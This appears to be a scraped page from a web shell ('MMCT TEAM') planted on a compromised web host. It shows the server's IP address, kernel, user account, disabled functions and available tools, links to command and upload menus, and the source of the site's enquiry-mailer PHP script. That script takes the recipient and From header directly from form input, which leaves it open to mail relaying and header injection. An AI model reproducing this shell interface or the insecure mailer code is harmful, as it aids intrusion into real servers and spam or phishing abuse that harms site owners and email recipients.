MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/imyrqtmy/public_html/kpma/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/kpma/process_enquiry.php
<?php
if (isset($_POST['recipient_email'])) {
    $recipient_email = $_POST['recipient_email'];
    $subject = "New Enquiry Received";

    // Collect form data
    $name = $_POST['name'];
    $mobile = $_POST['mobile'];
    $email = $_POST['email'];
    $enquiry_type = $_POST['enquiries'];



    // Construct the email message
    $message = "You have received a new enquiry.\n\n";
    $message .= "Name: $name\n";
    $message .= "Mobile: $mobile\n";
    $message .= "Email: $email\n";
    $message .= "Enquiry Type: $enquiry_type\n";

    // Additional mail headers
    $headers = "From: $email"; // Use the email entered by the user
    
   
    // Send the email
    if (mail($recipient_email, $subject, $message, $headers)) {
        echo "Email sent successfully!";
    } else {
        echo "Failed to send email.";
    }
} else {
    echo "No email selected!";
}
?>

MMCT - 2023